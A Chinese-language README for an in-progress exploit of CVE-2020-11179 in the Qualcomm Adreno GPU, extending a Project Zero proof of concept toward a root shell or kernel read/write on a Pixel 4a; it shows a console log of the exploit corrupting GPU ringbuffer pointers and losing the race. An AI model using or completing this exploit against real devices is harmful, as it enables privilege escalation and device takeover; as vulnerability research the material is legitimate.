我在P0研究员Ben Hawkes创建的poc基础上的独立工作
原文：https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

我的目标是将他的poc转换为C语言，并从他停下的地方继续，把poc变成root shell或内核r/w，然后以某种方式修改系统以展示内核代码执行。

很可能，ttbr0的偏移量在我的测试手机上不同
需要计算和调试来找到偏移量

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

测试设备：pixel 4a
android 10，构建版本 QD4A.2000317.027

TODO:

处理上下文切换和竞争条件
实现内核代码执行

CVE-2020-11179-Adreno-Qualcomm-GPU

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